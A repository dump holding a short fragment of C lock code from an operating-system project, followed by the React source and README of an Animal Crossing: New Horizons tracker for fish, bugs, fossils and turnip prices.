is %d\n",ret); } void read_unlock(rwlock_t *lock) { /*Your code to release the read lock*/ // printf("hex is %lx\n",lock->value); int ret=atomic_add(&lock->value,1); // printf("check %d\n",ret); if(ret==0 ){ write_unlock(lock); } /*else{ // printf("here\n"); int ret=atomic_add(&lock->value,1); if(ret==1){ write_unlock(lock); } }*/ }
818d9bd6ffeff40c9991ec7e385198b19b7d2380
[ "Markdown", "C" ]
8
C
sanmitra1999/gemOS
143d8059596e9f26c279602ee4242dc7f13c3dba
49efb6c438a3321218efecb7d1528f781bfdd71a
refs/heads/master
<repo_name>po8rewq/acnh-tracker<file_sep>/src/components/AboutModal.jsx import React from 'react'; import { Button, Modal, ModalHeader, ModalBody, ModalFooter, } from 'reactstrap'; import PropTypes from 'prop-types'; const propTypes = { toggle: PropTypes.func.isRequired, show: PropTypes.bool.isRequired, }; const AboutModal = ({ toggle, show }) => ( <Modal isOpen={show} toggle={toggle} size="lg"> <ModalHeader toggle={toggle}>About</ModalHeader> <ModalBody> <p> This project is open source, and you can find the code on&nbsp; <a href="https://github.com/po8rewq/acnh-tracker" rel="noopener noreferrer" target="_blank">GitHub</a> . Feel free to report issues, suggest features, or even submit a pull request. </p> <p> All information is compiled from: <ul> <li> <a href="https://animalcrossing.fandom.com/wiki/Fish_(New_Horizons)" rel="noopener noreferrer" target="_blank" > https://animalcrossing.fandom.com/wiki/Fish_(New_Horizons) </a> </li> <li> <a href="https://animalcrossing.fandom.com/wiki/Bugs_(New_Horizons)" rel="noopener noreferrer" target="_blank" > https://animalcrossing.fandom.com/wiki/Bugs_(New_Horizons) </a> </li> <li> <a href="https://animalcrossing.fandom.com/wiki/Fossils_(New_Horizons)" rel="noopener noreferrer" target="_blank" > https://animalcrossing.fandom.com/wiki/Fossils_(New_Horizons) </a> </li> </ul> </p> <p> Other projects: <ul> <li> {' '} Idea based on&nbsp; <a href="https://github.com/mikebryant/ac-nh-turnip-prices" rel="noopener noreferrer" target="_blank" > ac-nh-turnip-prices </a> </li> </ul> </p> <p>Animal Crossing and Nintendo are registered trademarks of Nintendo of America.</p> </ModalBody> <ModalFooter> <Button color="secondary" onClick={toggle}>Close</Button> </ModalFooter> </Modal> ); AboutModal.propTypes = propTypes; export default AboutModal; <file_sep>/src/utils/dates.test.js import * as DateUtils from './dates'; it('getSundayDateForWeek', () => { expect(DateUtils.getSundayDateForWeek('2020-04-05')).toEqual('2020-04-05'); expect(DateUtils.getSundayDateForWeek('2020-04-07')).toEqual('2020-04-05'); });<file_sep>/src/components/TurnipsPage/Predictions.jsx import React, { useMemo } from 'react'; import { Table, ListGroupItem, ListGroup } from 'reactstrap'; import styled from 'styled-components'; import PropTypes from 'prop-types'; import shortid from 'shortid'; import Predictor, { PATTERN } from '../../utils/predictions'; // eslint-disable-line const PATTERN_DESCRIPTION = [ 'Fluctuating', 'Large spike', 'Decreasing', 'Small spike', 'All patterns', ]; const Line = styled.tr` cursor: pointer; ${(p) => p.selected && ` background-color: #f0e8c0; `} td { text-align: center; } span.lowest-price { color: #ffc107; font-weight: bold; } span.highest-price { color: #28a745; font-weight: bold; } `; const propTypes = { buyPrice: PropTypes.number.isRequired, sellPrices: PropTypes.arrayOf(PropTypes.number).isRequired, displayEstimate: PropTypes.func.isRequired, isFirstTime: PropTypes.bool, selectedLines: PropTypes.arrayOf(PropTypes.object), lastWeekPattern: PropTypes.number, }; const defaultProps = { selectedLines: [], isFirstTime: false, lastWeekPattern: -1, }; const Predictions = ({ buyPrice, sellPrices, displayEstimate, isFirstTime, selectedLines, lastWeekPattern, }) => { const onClick = (key, min, max) => { displayEstimate(key, min, max); }; const renderDays = (days) => { // not used yet const { min, max } = days.reduce((acc, val) => { const newObj = { ...acc }; if (!acc.max || val.max > acc.max) newObj.max = val.max; if (!acc.min || val.min < acc.min) newObj.min = val.min; return newObj; }, { min: null, max: null }); const renderValue = (value) => { let className = ''; if (value === min) className = 'lowest-price'; else if (value === max) className = 'highest-price'; return <span className={className}>{value}</span>; }; return days.map((day) => ( <td key={shortid.generate()}> {day.min !== day.max ? ( <> {renderValue(day.min)} &nbsp;to&nbsp; {renderValue(day.max)} </> ) : renderValue(day.min)} </td> )); }; const renderPercentage = (percent) => (Number.isFinite(percent) ? (`${(percent * 100).toPrecision(3)}%`) : '—'); const renderPatterns = (possibilities) => { if (!possibilities) return []; return possibilities.map((poss) => { // for the additional graphs - we don't need the sunday price const { mins, maxs } = poss.prices.slice(2).reduce((acc, d) => ({ mins: [...acc.mins, d.min], maxs: [...acc.maxs, d.max], }), { mins: [], maxs: [] }); const days = poss.prices.slice(1); const key = JSON.stringify(poss.prices); const isSelected = selectedLines.findIndex((v) => v.key === key) !== -1; return ( <Line onClick={() => onClick(key, mins, maxs)} key={shortid.generate()} selected={isSelected} > <td>{PATTERN_DESCRIPTION[poss.pattern_number]}</td> <td>{renderPercentage(poss.probability)}</td> {renderDays(days)} <td>{poss.weekGuaranteedMinimum}</td> <td>{poss.weekMax}</td> </Line> ); }); } const renderPatternProbabilities = (possibilities) => { if (!possibilities) return []; let previousPattern = ''; return possibilities.reduce((acc, poss) => { if (previousPattern !== poss.pattern_number) { previousPattern = poss.pattern_number; if (!poss.category_total_probability) return [...acc]; const newValue = ( <ListGroupItem key={poss.pattern_number}>{`${PATTERN_DESCRIPTION[poss.pattern_number]}: ${renderPercentage(poss.category_total_probability)}`}</ListGroupItem> ); return [...acc, newValue]; } return [...acc]; }, []); }; const possibilities = useMemo(() => { const p = buyPrice === 0 ? NaN : buyPrice; const prices = [p, p, ...sellPrices]; const isEmpty = prices.every((s) => !s); if (isEmpty) return null; const predictor = new Predictor( prices, isFirstTime, (PATTERN[lastWeekPattern] || -1), ); return predictor.analyze_possibilities(); }, [buyPrice, sellPrices, isFirstTime, lastWeekPattern]); return ( <> <h3>Predictions</h3> <div style={{ marginBottom: '20px', display: 'flex', justifyContent: 'center' }}> <ListGroup horizontal="lg"> {renderPatternProbabilities(possibilities)} </ListGroup> </div> <Table size="sm" hover responsive> <thead> <tr> <th>Pattern</th> <th>%</th> <th>Sunday</th> <th colSpan="2">Monday</th> <th colSpan="2">Tuesday</th> <th colSpan="2">Wednesday</th> <th colSpan="2">Thursday</th> <th colSpan="2">Friday</th> <th colSpan="2">Saturday</th> <th>Guaranteed Min</th> <th>Potential Max</th> </tr> </thead> <tbody>{renderPatterns(possibilities)}</tbody> </Table> </> ); }; Predictions.propTypes = propTypes; Predictions.defaultProps = defaultProps; export default Predictions; <file_sep>/src/components/CustomButton.jsx import React from 'react'; import styled from 'styled-components'; import { Button } from 'reactstrap'; const CustomButton = styled((props) => <Button {...props} />)` background-color: #6b5c43 !important; border-color: #6b5c43 !important; `; export default CustomButton; <file_sep>/src/components/MonthTag.jsx import React from 'react'; import styled from 'styled-components'; import PropTypes from 'prop-types'; const Wrapper = styled.div` background: ${(p) => (p.available ? '#dbd603' : '#f5f5f5')}; color: ${(p) => (p.available ? '#000' : '#d5cb96')}; border: ${(p) => (p.available ? 'none' : '1px solid')}; font-style: italic; font-weight: bold; text-align: center; font-size: .75rem; padding: 0 5px; border-radius: 3px; `; const propTypes = { value: PropTypes.string.isRequired, available: PropTypes.bool.isRequired, }; const MonthTag = ({ value, available }) => <Wrapper available={available}>{value}</Wrapper>; MonthTag.propTypes = propTypes; export default MonthTag; <file_sep>/src/components/ProgressTable.jsx import React, { useState, useEffect } from 'react'; import { Table, Button, ButtonGroup } from 'reactstrap'; import styled from 'styled-components'; import dayjs from 'dayjs'; import PropTypes from 'prop-types'; import useLocalStorage from '../hooks/useLocalStorage'; import { getMonth, capitalize } from '../utils'; import ProgressBar from './ProgressBar'; import Search from './Search'; import MonthTag from './MonthTag'; import HemisphereButton from './HemisphereButton'; import SectionContainer from './SectionContainer'; const BodyRow = styled.tr` cursor: pointer; ${(p) => p.checked && ` background-color: #f0e8c0; `} td { vertical-align: middle; } `; const Ctr = styled.div` margin: 15px 0; `; const propTypes = { renderTableBody: PropTypes.func.isRequired, renderTableHeader: PropTypes.func.isRequired, dataJson: PropTypes.array.isRequired, // eslint-disable-line react/forbid-prop-types localStorageName: PropTypes.string.isRequired, hemisphere: PropTypes.oneOf(['northern', 'southern']).isRequired, setHemisphere: PropTypes.func.isRequired, availabilities: PropTypes.bool, }; const defaultProps = { availabilities: true, }; const ProgressTable = ({ renderTableBody, renderTableHeader, dataJson, localStorageName, hemisphere, setHemisphere, availabilities, }) => { const [search, setSearch] = useState(''); const [list, setList] = useState(dataJson); const [creatures, setCreatures] = useLocalStorage(localStorageName, []); const [rSelected, setRSelected] = useState(1); useEffect(() => { const baseList = rSelected === 2 ? dataJson.filter((v) => { const currentMonth = dayjs().format('MMM').toLowerCase(); return v[currentMonth] === 1; }) : [...dataJson]; const s = search.trimLeft().trimRight(); const newValue = s === '' ? baseList : baseList.filter((v) => v.name.toLowerCase().indexOf(s) !== -1); setList(newValue); }, [search, rSelected, dataJson]); const renderMonth = (f, month) => { const index = getMonth(month, hemisphere); return <MonthTag available={f[index] === 1} value={capitalize(month)} />; }; const renderAvailabilities = (item) => ( <> <td>{renderMonth(item, 'jan')}</td> <td>{renderMonth(item, 'feb')}</td> <td>{renderMonth(item, 'mar')}</td> <td>{renderMonth(item, 'apr')}</td> <td>{renderMonth(item, 'may')}</td> <td>{renderMonth(item, 'jun')}</td> <td>{renderMonth(item, 'jul')}</td> <td>{renderMonth(item, 'aug')}</td> <td>{renderMonth(item, 'sep')}</td> <td>{renderMonth(item, 'oct')}</td> <td>{renderMonth(item, 'nov')}</td> <td>{renderMonth(item, 'dec')}</td> </> ); const toggleCreature = (id) => { const index = creatures.indexOf(id); if (index === -1) { setCreatures([...creatures, id]); } else { const newArray = [...creatures]; newArray.splice(index, 1); setCreatures(newArray); } }; const onSearchChange = (value) => setSearch(value); const renderBody = () => list.map((item) => ( <BodyRow key={item.id} onClick={() => toggleCreature(item.id)} checked={creatures.indexOf(item.id) !== -1} > {renderTableBody(item)} {availabilities && renderAvailabilities(item)} </BodyRow> )); const renderHeader = () => ( <tr> {renderTableHeader()} {availabilities && ( <th colSpan="12" style={{ textAlign: 'center' }}>Availability</th> )} </tr> ); return ( <SectionContainer> {availabilities && ( <Ctr> <HemisphereButton hemisphere={hemisphere} callback={setHemisphere} /> </Ctr> )} <Ctr> <Search value={search} onChange={onSearchChange} /> </Ctr> <Ctr> <ButtonGroup> <Button color={rSelected === 1 ? 'primary' : 'link'} onClick={() => setRSelected(1)} disabled={rSelected === 1}>See all</Button> <Button color={rSelected === 2 ? 'primary' : 'link'} onClick={() => setRSelected(2)} disabled={rSelected === 2}>Only those I can catch</Button> </ButtonGroup> </Ctr> <Ctr> <ProgressBar current={creatures.length} total={dataJson.length} /> </Ctr> <Table size="sm" hover borderless responsive> <thead>{renderHeader()}</thead> <tbody>{renderBody()}</tbody> </Table> </SectionContainer> ); }; ProgressTable.propTypes = propTypes; ProgressTable.defaultProps = defaultProps; export default ProgressTable; <file_sep>/src/components/TurnipsPage/ResultForm.jsx import React, { useState, useEffect } from 'react'; import PropTypes from 'prop-types'; import { FormGroup, Label, Input, Button, Collapse, Card, CardBody, Col, } from 'reactstrap'; import { PATTERN } from '../../utils/predictions'; const propTypes = { onChange: PropTypes.func.isRequired, quantity: PropTypes.number, pattern: PropTypes.oneOfType([PropTypes.number, PropTypes.string]), sellPrice: PropTypes.number, sundayPrice: PropTypes.number, }; const defaultProps = { quantity: 0, pattern: -1, sellPrice: 0, sundayPrice: 0, }; const ResultForm = ({ quantity, pattern, sellPrice, onChange, sundayPrice, }) => { const [isOpen, setIsOpen] = useState(false); const [result, setResult] = useState(null); useEffect(() => { const calcResult = () => { const lost = sundayPrice * quantity; const won = sellPrice * quantity; setResult(won - lost); }; calcResult(); }, [quantity, sellPrice, sundayPrice]); const toggle = () => setIsOpen(!isOpen); const handleChange = (field) => (e) => onChange({ field, value: e.currentTarget.value }); const renderForm = () => ( <Card> <CardBody> <FormGroup row> <Label for="qty" sm="5">Quantity bought</Label> <Col sm={7}> <Input type="number" name="qty" id="qty" placeholder="" onChange={handleChange('quantity')} value={quantity} /> </Col> </FormGroup> <FormGroup row> <Label for="sellPrice" sm="5">Sell price</Label> <Col sm={7}> <Input type="number" name="sellPrice" id="sellPrice" placeholder="" value={sellPrice} onChange={handleChange('sellPrice')} /> </Col> </FormGroup> <FormGroup row> <Label for="pattern" sm="5">This week identified pattern</Label> <Col sm={7}> <Input type="select" name="pattern" id="pattern" value={pattern || -1} onChange={handleChange('pattern')} > <option value="-1">unknown</option> {Object.keys(PATTERN).map((key) => ( <option key={key} value={key}>{key.replace('_', ' ').toLowerCase()}</option> ))} </Input> </Col> </FormGroup> {(result > 0) && ( <FormGroup row> <Label for="result" sm={5}>Total for the week</Label> <Col sm={7}> <Input className={result > 0 ? 'text-success' : 'text-danger'} type="string" name="result" id="result" disabled value={result} /> </Col> </FormGroup> )} </CardBody> </Card> ); return ( <> <Button color="link" onClick={toggle} style={{ marginBottom: '1rem' }}> {isOpen ? 'Hide results' : 'Show results'} </Button> <Collapse isOpen={isOpen}>{renderForm()}</Collapse> </> ); }; ResultForm.propTypes = propTypes; ResultForm.defaultProps = defaultProps; export default ResultForm; <file_sep>/src/components/BugsTable/BugIcons.jsx import React from 'react'; import PropTypes from 'prop-types'; import icons from '../../data/img/bugs'; const iconNames = Object.keys(icons); const propTypes = { icon: PropTypes.oneOf(iconNames).isRequired, }; const BugIcons = ({ icon }) => <><img src={icons[icon]} alt={icon} /></>; BugIcons.propTypes = propTypes; export default BugIcons; <file_sep>/src/components/FishTable/index.jsx import React from 'react'; import PropTypes from 'prop-types'; import FishIcons from './FishIcons'; import fishJson from '../../data/fish.json'; import { formatNameToImage } from '../../utils'; import ProgressTable from '../ProgressTable'; const propTypes = { hemisphere: PropTypes.oneOf(['northern', 'southern']).isRequired, setHemisphere: PropTypes.func.isRequired, }; const FishTable = ({ hemisphere, setHemisphere }) => { const body = (f) => ( <> <td><FishIcons icon={formatNameToImage(f.name)} /></td> <td>{f.name}</td> <td>{f.location}</td> <td>{f.price}</td> <td>{f.shadow}</td> <td>{f.time}</td> </> ); const header = () => ( <> <th>&nbsp;</th> <th>Name</th> <th>Location</th> <th>Price</th> <th>Shadow</th> <th>Time</th> </> ); return ( <ProgressTable renderTableBody={body} renderTableHeader={header} dataJson={fishJson} localStorageName="fish" hemisphere={hemisphere} setHemisphere={setHemisphere} /> ); }; FishTable.propTypes = propTypes; export default FishTable; <file_sep>/src/components/FossilsTable/index.jsx import React, { Fragment, useState, useEffect } from 'react'; import { Table } from 'reactstrap'; import styled from 'styled-components'; import useLocalStorage from '../../hooks/useLocalStorage'; import fossilsJson from '../../data/fossils.json'; import FossilIcons from './FossilIcon'; import Search from '../Search'; import ProgressBar from '../ProgressBar'; import { formatNameToImage } from '../../utils'; import SectionContainer from '../SectionContainer'; const BodyRow = styled.tr` cursor: pointer; ${(p) => p.checked && ` background-color: #f0e8c0; `} td { vertical-align: middle; } `; const Ctr = styled.div` margin: 15px 0; `; const FossilsTable = () => { const [search, setSearch] = useState(''); const [list, setList] = useState(fossilsJson.fossils); // only the list of fossils, not the groups const [fossils, setFossils] = useLocalStorage('fossils', []); useEffect(() => { const baseList = [...fossilsJson.fossils]; const s = search.trimLeft().trimRight(); const newValue = s === '' ? baseList : baseList.filter((v) => v.name.toLowerCase().indexOf(s) !== -1); setList(newValue); }, [search]); const onSearchChange = (value) => setSearch(value); const toggleFossils = (id) => { const index = fossils.indexOf(id); if (index === -1) { setFossils([...fossils, id]); } else { const newArray = [...fossils]; newArray.splice(index, 1); setFossils(newArray); } }; const renderGroup = (groupId) => list.reduce((acc, f) => { if (f.groupId !== groupId) return acc; const v = ( <BodyRow key={`fossil_${f.id}`} onClick={() => toggleFossils(f.id)} checked={fossils.indexOf(f.id) !== -1} > <td><FossilIcons icon={formatNameToImage(f.name)} /></td> <td>{f.name}</td> <td>{f.price}</td> </BodyRow> ); return [...acc, v]; }, []); const renderBody = () => fossilsJson.groups.map((group) => { const content = renderGroup(group.id); if (content.length === 0) return null; return ( <Fragment key={`group_${group.id}`}> <tr> <th colSpan="3" style={{ textAlign: 'center' }}>{group.name}</th> </tr> {content} </Fragment> ); }); return ( <SectionContainer> <Ctr> <Search value={search} onChange={onSearchChange} /> </Ctr> <Ctr> <ProgressBar current={fossils.length} total={fossilsJson.fossils.length} /> </Ctr> <Table size="sm" hover borderless responsive> <thead> <tr> <th> &nbsp; </th> <th>Name</th> <th>Price</th> </tr> </thead> <tbody>{renderBody()}</tbody> </Table> </SectionContainer> ); }; export default FossilsTable; <file_sep>/src/components/TurnipsPage/AddPriceForm.jsx import React, { useState } from 'react'; import { Form, FormGroup, Label, Input, Button, } from 'reactstrap'; import PropTypes from 'prop-types'; import { LABELS } from '.'; const propTypes = { onSave: PropTypes.func.isRequired, }; const AddPriceForm = ({ onSave }) => { const [price, setPrice] = useState(0); const [when, setWhen] = useState(LABELS[0]); const onSavePrice = () => { onSave({ when, price: parseInt(price, 10) }); }; const onChange = (value, field) => { switch (field) { case 'price': setPrice(value); break; case 'when': setWhen(value); break; default: break; } }; return ( <Form inline onSubmit={(e) => { e.preventDefault(); onSavePrice(); }}> <FormGroup className="mb-2 mr-sm-2 mb-sm-0"> <Label for="when" className="mr-sm-2">When</Label> <Input type="select" name="when" id="when" value={when} onChange={(e) => onChange(e.currentTarget.value, 'when')} > {LABELS.map((v) => <option key={v}>{v}</option>)} </Input> </FormGroup> <FormGroup className="mb-2 mr-sm-2 mb-sm-0"> <Label for="price" className="mr-sm-2">Price</Label> <Input type="number" name="price" id="price" value={price} onChange={(e) => onChange(e.currentTarget.value, 'price')} /> </FormGroup> <Button color="primary" onClick={onSavePrice}>Submit</Button> </Form> ); }; AddPriceForm.propTypes = propTypes; export default AddPriceForm; <file_sep>/src/data/img/bugs.js import commonbutterfly from './Common_Butterfly_HHD_Icon.png'; import scorpion from './NH-Scorpion.png'; import tarantula from './NH-Tarantula.png'; import spider from './NH-Spider.png'; import centipede from './NH-Centipede.png'; import pillbug from './NH-Pill-Bug.png'; import snail from './NH-Snail.png'; import flea from './NH-Flea.png'; import mosquito from './NH-Mosquito.png'; import fly from './NH-Fly.png'; import wharfroach from './Wharf_Roach_HHD_Icon.png'; import hermitcrab from './Hermit_Crab_HHD_Icon.png'; import ant from './Ant_HHD_Icon.png'; import bagworm from './Bagworm_HHD_Icon.png'; import walkingleaf from './Walking_Leaf_HHD_Icon.png'; import giraffestag from './Giraffe_Stag_NH_Icon.PNG.png'; import dronebeetle from './Drone_Beetle_NH_Icon.PNG.png'; import earthboringdungbeetle from './Earth-Boring_Dung_Beetle_NH_Icon.PNG.png'; import blueweevilbeetle from './Blue_Weevil_Beetle_NH_Icon.PNG.png'; import citruslonghornedbeetle from './Citrus_Long-horned_Beetle_NH.png'; import violinbeetle from './Violinbeetle.png'; import tigerbeetle from './Tiger_Beetle_HHD_Icon.png'; import ladybug from './Ladybug_HHD_Icon.png'; import manfacedstinkbug from './Man-faced_Stink_Bug_NH_Icon.PNG.png'; import stinkbug from './Stink_Bug_ACNH.png'; import giantwaterbug from './Giant_Water_Bug_NH_Icon.PNG.png'; import divingbeetle from './Diving_Beetle_HHD_Icon.png'; import pondskater from './Pondskater_HHD_Icon.png'; import molecricket from './Mole_Cricket_HHD_Icon.png'; import damselfly from './Damselfly_NH_Icon.PNG.png'; import bandeddragonfly from './Banded_Dragonfly_HHD_Icon.png'; import darnerdragonfly from './Darner_Dragonfly_HHD_Icon.png'; import reddragonfly from './Red_Dragonfly_HHD_Icon.png'; import cicadashell from './Cicada_Shell_HHD_Icon.png'; import eveningcicada from './Evening_Cicada_HHD.png'; import walkercicada from './Walker_Cicada_HHD_Icon.png'; import giantcicada from './Giant_Cicada_HHD.png'; import robustcicada from './Robust_Cicada_HHD.png'; import browncicada from './Brown_Cicada_HHD.png'; import wasp from './Bee_HHD_Icon.png'; import honeybee from './Honeybee_HHD_Icon.png'; import orchidmantis from './Orchid_Mantis_HHD_Icon.png'; import mantis from './Mantis_HHD_Icon.png'; import bellcricket from './Bell_Cricket_HHD_Icon.png'; import cricket from './Cricket_HHD_Icon.png'; import grasshopper from './Grasshopper_HHD_Icon.png'; import ricegrasshopper from './Rice_Grasshopper_HHD_Icon.png'; import migratorylocust from './Migratory_Locust_HHD_Icon.png'; import longlocust from './Long_Locust_HHD_Icon.png'; import madagascansunsetmoth from './Madagascan_Sunset_Moth_NH_Icon.PNG.png'; import atlasmoth from './Atlasmoththumb.png'; import moth from './Moth_HHD_Icon.png'; import queenalex from './Queenalex.png'; import rajahbrookes from './Rajahbrookes.png'; import agriasbutterfly from './Agrias_Butterfly_HHD.png'; import emperorbutterfly from './Emperor_Butterfly_HHD_Icon.png'; import monarchbutterfly from './Monarch_Butterfly_HHD_Icon.png'; import greatpurpleemperor from './Great_Purple_Emperor_NH_Icon.PNG.png'; import paperkitebutterfly from './Paper_Kite_Butterfly_NH_Icon.PNG.png'; import commonbluebottle from './Common_Bluebottle_NH_Icon.PNG.png'; import peacockbutterfly from './Peacock_Butterfly_HHD_Icon.png'; import tigerbutterfly from './Tiger_Butterfly_HHD_Icon.png'; import yellowbutterfly from './Yellow_Butterfly_HHD_Icon.png'; import firefly from './Firefly_ACNH.png'; import jewelbeetle from './Jewel_Beetle_ACNH.png'; import rosaliabatesibeetle from './Rosalia_Batesi_Beetle_ACNH.png'; import dungbeetle from './Dung_Beetle_ACNH.png'; import scarabbeetle from './Scarab_Beetle_ACNH.png'; import goldenstag from './Golden_Stag_ACNH.png'; import cyclommatusstag from './Cyclommatus_ACNH.png'; import rainbowstag from './Rainbow_Stag_ACNH.png'; import giantstag from './Giant_Stag_ACNH.png'; import miyamastag from './Miyama_Stag_ACNH.png'; import sawstag from './Saw_Stag_ACNH.png'; import goliathbeetle from './Goliath_Beetle_ACNH.png'; import hornedhercules from './Horned_Hercules_ACNH.png'; import hornedelephant from './Horned_Elephant_ACNH.png'; import hornedatlas from './Horned_Atlas_ACNH.png'; import horneddynastid from './Horned_Dynastid_ACNH.png'; import walkingstick from './Walkingstick_ACNH.png'; import rajabrookesbirdwing from './Raja_Brooke_ACNH.png'; import queenalexandrasbirdwing from './Birdwing_ACNH.png'; export default { commonbutterfly, scorpion, tarantula, spider, centipede, pillbug, snail, flea, mosquito, fly, wharfroach, hermitcrab, ant, bagworm, walkingleaf, giraffestag, dronebeetle, earthboringdungbeetle, blueweevilbeetle, citruslonghornedbeetle, violinbeetle, tigerbeetle, ladybug, manfacedstinkbug, stinkbug, giantwaterbug, divingbeetle, pondskater, molecricket, damselfly, bandeddragonfly, darnerdragonfly, reddragonfly, cicadashell, eveningcicada, walkercicada, giantcicada, robustcicada, browncicada, wasp, honeybee, orchidmantis, mantis, bellcricket, cricket, grasshopper, ricegrasshopper, migratorylocust, longlocust, madagascansunsetmoth, atlasmoth, moth, queenalex, rajahbrookes, agriasbutterfly, emperorbutterfly, monarchbutterfly, greatpurpleemperor, paperkitebutterfly, commonbluebottle, peacockbutterfly, tigerbutterfly, yellowbutterfly, firefly, jewelbeetle, rosaliabatesibeetle, dungbeetle, scarabbeetle, goldenstag, cyclommatusstag, rainbowstag, giantstag, miyamastag, sawstag, goliathbeetle, hornedhercules, hornedelephant, hornedatlas, horneddynastid, walkingstick, rajabrookesbirdwing, queenalexandrasbirdwing, }; <file_sep>/src/data/img/fossils.js import ammonite from './NH-Furniture-ammonite.png'; import amber from './NH-Furniture-amber.png'; import acanthostega from './NH-Furniture-acanthostega.png'; import anomalocaris from './NH-Furniture-anomalocaris.png'; import trilobite from './NH-Furniture-trilobite.png'; import sharktoothpattern from './NH-Furniture-sharktoothpattern.png'; import myllokunmingia from './NH-Furniture-myllokunmingia.png'; import juramaia from './NH-Furniture-juramaia.png'; import eusthenopteron from './NH-Furniture-eusthenopteron.png'; import dunkleosteus from './NH-Furniture-dunkleosteus.png'; import dinosaurtrack from './NH-Furniture-dinosaurtrack.png'; import coprolite from './NH-Furniture-coprolite.png'; import australopithecus from './NH-Furniture-australopithecus.png'; import archaeopteryx from './NH-Furniture-archaeopteryx.png'; import ankylotail from './NH-Furniture-ankylotail.png'; import ankylotorso from './NH-Furniture-ankylotorso.png'; import ankyloskull from './NH-Furniture-ankyloskull.png'; import archelonskull from './NH-Furniture-archelonskull.png'; import archelontail from './NH-Furniture-archelontail.png'; import brachiotail from './NH-Furniture-brachiotail.png'; import brachioskull from './NH-Furniture-brachioskull.png'; import brachiochest from './NH-Furniture-brachiochest.png'; import brachiopelvis from './NH-Furniture-brachiopelvis.png'; import deinonytorso from './NH-Furniture-deinonytorso.png'; import deinonytail from './NH-Furniture-deinonytail.png'; import dimetrodontail from './NH-Furniture-dimetrodontail.png'; import dimetrodonskull from './NH-Furniture-dimetrodonskull.png'; import dimetrodontorso from './Dimetrodon_Torso(New_Horizons).jpg'; // TODO: change import diplotailtip from './NH-Furniture-diplotailtip.png'; import diplotail from './NH-Furniture-diplotail.png'; import diplopelvis from './NH-Furniture-diplopelvis.png'; import diplochest from './NH-Furniture-diplochest.png'; import diploneck from './NH-Furniture-diploneck.png'; import diploskull from './NH-Furniture-diploskull.png'; import iguanodontail from './NH-Furniture-iguanodontail.png'; import iguanodontorso from './NH-Furniture-iguanodontorso.png'; import iguanodonskull from './NH-Furniture-iguanodonskull.png'; import mammothtorso from './NH-Furniture-mammothtorso.png'; import mammothskull from './NH-Furniture-mammothskull.png'; import megacerotail from './NH-Furniture-megacerotail.png'; import megacerotorso from './NH-Furniture-megacerotorso.png'; import megaceroskull from './NH-Furniture-megaceroskull.png'; import megalorightside from './NH-Furniture-megalorightside.png'; import megaloleftside from './NH-Furniture-megaloleftside.png'; import ophthalmotorso from './NH-Furniture-ophthalmotorso.png'; import ophthalmoskull from './NH-Furniture-ophthalmoskull.png'; import pachyskull from './NH-Furniture-pachyskull.png'; import pachytail from './NH-Furniture-pachytail.png'; import parasaurtail from './NH-Furniture-parasaurtail.png'; import parasaurskull from './NH-Furniture-parasaurskull.png'; import parasaurtorso from './NH-Furniture-parasaurtorso.png'; import plesiobody from './NH-Furniture-plesiobody.png'; import plesioneck from './NH-Furniture-plesioneck.png'; import plesioskull from './NH-Furniture-plesioskull.png'; import rightpterawing from './NH-Furniture-rightpterawing.png'; import leftpterawing from './NH-Furniture-leftpterawing.png'; import pterabody from './NH-Furniture-pterabody.png'; import trextail from './NH-Furniture-trextail.png'; import trextorso from './NH-Furniture-trextorso.png'; import trexskull from './NH-Furniture-trexskull.png'; import triceratail from './NH-Furniture-triceratail.png'; import triceratorso from './NH-Furniture-triceratorso.png'; import triceraskull from './NH-Furniture-triceraskull.png'; import stegotail from './NH-Furniture-stegotail.png'; import stegotorso from './NH-Furniture-stegotorso.png'; import stegoskull from './NH-Furniture-stegoskull.png'; import spinotail from './NH-Furniture-spinotail.png'; import spinotorso from './NH-Furniture-spinotorso.png'; import spinoskull from './NH-Furniture-spinoskull.png'; import leftquetzalwing from './NH-Furniture-leftquetzalwing.png'; import quetzaltorso from './NH-Furniture-quetzaltorso.png'; import rightquetzalwing from './NH-Furniture-rightquetzalwing.png'; import sabertoothskull from './NH-Furniture-sabertoothskull.png'; import sabertoothtail from './NH-Furniture-sabertoothtail.png'; export default { acanthostega, amber, ammonite, anomalocaris, archaeopteryx, trilobite, sharktoothpattern, myllokunmingia, juramaia, eusthenopteron, dunkleosteus, dinosaurtrack, coprolite, australopithecus, ankyloskull, ankylotorso, ankylotail, archelonskull, archelontail, brachiotail, brachioskull, brachiochest, brachiopelvis, deinonytorso, deinonytail, dimetrodontail, dimetrodontorso, dimetrodonskull, diplotailtip, diplotail, diplopelvis, diplochest, diploneck, diploskull, iguanodontail, iguanodontorso, iguanodonskull, mammothtorso, mammothskull, megacerotail, megacerotorso, megaceroskull, megalorightside, megaloleftside, ophthalmotorso, ophthalmoskull, pachyskull, pachytail, parasaurtail, parasaurskull, parasaurtorso, plesiobody, plesioneck, plesioskull, rightpterawing, leftpterawing, pterabody, trextail, trextorso, trexskull, triceratail, triceratorso, triceraskull, stegotail, stegotorso, stegoskull, spinotail, spinotorso, spinoskull, leftquetzalwing, quetzaltorso, rightquetzalwing, sabertoothskull, sabertoothtail, }; <file_sep>/src/components/Search.jsx import React from 'react'; import styled from 'styled-components'; import PropTypes from 'prop-types'; import { FontAwesomeIcon } from '@fortawesome/react-fontawesome'; import { faTimes } from '@fortawesome/free-solid-svg-icons'; import { Input, ButtonGroup } from 'reactstrap'; const Wrapper = styled.div` position: relative; width: 100%; .btn-group { width: 100%; } .iconContainer { position: absolute; right: 5px; top: 3px; bottom: 0; border: none; background: none; } `; const propTypes = { value: PropTypes.string.isRequired, onChange: PropTypes.func.isRequired, }; const Search = ({ value, onChange }) => ( <Wrapper> <ButtonGroup> <Input type="text" name="search" placeholder="Search" onChange={(e) => onChange(e.target.value)} value={value} /> <button type="button" className="iconContainer" onClick={() => onChange('')}> <FontAwesomeIcon icon={faTimes} size="2x" /> </button> </ButtonGroup> </Wrapper> ); Search.propTypes = propTypes; export default Search; <file_sep>/README.md Tracker for Animal Crossing: New Horizons, you can find the project [here](https://po8rewq.github.io/acnh-tracker/). ## Features * View/track bugs by hemisphere and when/where you can catch them * View/track fish by hemisphere and when/where you can catch them * View/track fossils * View/track events recipe list (Bunny Day - Cherry-blossom) * Follow your town's turnip price market (based on [mikebryant/ac-nh-turnip-prices](https://github.com/mikebryant/ac-nh-turnip-prices) project) ## Local storage Schema for the local storage: ```json { '05-04-2020': { 'sundayPrice': 123, 'isFirstTime': true, 'graph': [ {when: 'mon_am', value: 90, order: 1}, ], 'qty': 500, 'sellPrice': 90, 'pattern': 'LARGE_SPIKE', } } ``` The 